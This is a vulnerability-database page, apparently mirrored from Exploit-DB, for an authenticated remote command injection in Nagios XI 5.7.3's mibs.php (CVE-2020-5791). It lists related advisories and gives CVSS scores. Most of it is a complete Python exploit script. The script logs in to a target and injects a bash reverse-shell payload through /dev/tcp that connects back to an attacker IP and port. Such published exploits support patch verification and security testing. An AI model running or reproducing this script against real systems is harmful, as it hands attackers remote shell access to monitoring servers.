Lucene search
K

Nagios XI 5.7.3 - 'mibs.php' Remote Command Injection (Authenticated)

🗓️ 28 Oct 2020 00:00:00Reported by Matthew AbereggType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 579 Views

Nagios XI 5.7.3 'mibs.php' Remote Command Injection (Authenticated) https://www.tenable.com/security/research/tra-2020-5

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Nagios XI 5.7.3 Remote Code Execution Exploit
19 Apr 202100:00
zdt
Circl
CVE-2020-5791
26 Mar 202123:19
circl
CNVD
Nagios XI OS Command Injection Vulnerability (CNVD-2020-58765)
26 Oct 202000:00
cnvd
Check Point Advisories
Nagios XI mibs.php Command Injection (CVE-2020-5791)
28 Nov 202000:00
checkpoint_advisories
Check Point Advisories
Nagios XI Command Injection (CVE-2020-5791)
29 Nov 202000:00
checkpoint_advisories
CVE
CVE-2020-5791
20 Oct 202021:22
cve
Cvelist
CVE-2020-5791
20 Oct 202021:22
cvelist
Metasploit
Nagios XI Scanner
27 Mar 202117:42
metasploit
Metasploit
Nagios XI 5.6.0-5.7.3 - Mibs.php Authenticated Remote Code Exection
17 Apr 202117:41
metasploit
NCSC
Vulnerabilities fixed in Nagios XI
21 Oct 202000:00
ncsc
Rows per page
# Exploit Title: Nagios XI 5.7.3 - 'mibs.php' Remote Command Injection (Authenticated)
# Date: 10-27-2020
# Vulnerability Discovery: Chris Lyne
# Vulnerability Details: https://www.tenable.com/security/research/tra-2020-58
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/
# Software Link: https://www.nagios.com/downloads/nagios-xi/
# Version: Nagios XI 5.7.3
# Tested on: Ubuntu 20.04
# CVE: CVE-2020-5791

#!/usr/bin/python3

import re
import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Credit: Chris Lyne for vulnerability discovery and original PoC

if len(sys.argv) != 6:
    print("[~] Usage : ./exploit.py https://NagiosXI_Host/, Username, Password, Attacker IP, Attacker Port")
    exit()

host = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
attacker_ip = sys.argv[4]
attacker_port = sys.argv[5]

login_url = host + "/nagiosxi/login.php"
payload = ";/bin/bash -c 'bash -i >& /dev/tcp/{0}/{1} 0>&1';".format(attacker_ip, attacker_port)
encoded_payload = urllib.parse.quote_plus(payload)


def exploit():
    s = requests.Session()
    login_page = s.get(login_url)
    nsp = re.findall('var nsp_str = "(.*?)"', login_page.text)
    
    res = s.post(
        login_url,
        data={
            'nsp': nsp,
            'page': 'auth',
            'debug': '',
            'pageopt': 'login',
            'redirect': '/nagiosxi/index.php?',
            'username': username,
            'password': password,
            'loginButton': ''
        },
        verify=False,
        allow_redirects=True
    )
    
    injection_url = host + "/nagiosxi/admin/mibs.php?mode=undo-processing&type=1&file={0}".format(encoded_payload)
    res = s.get(injection_url)
    
    if res.status_code != 200:
            print("[~] Failed to connect")
    
if __name__ == '__main__':
    exploit()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Oct 2020 00:00Current
7High risk
Vulners AI Score7
CVSS 3.17.2
CVSS 29
EPSS0.87753
579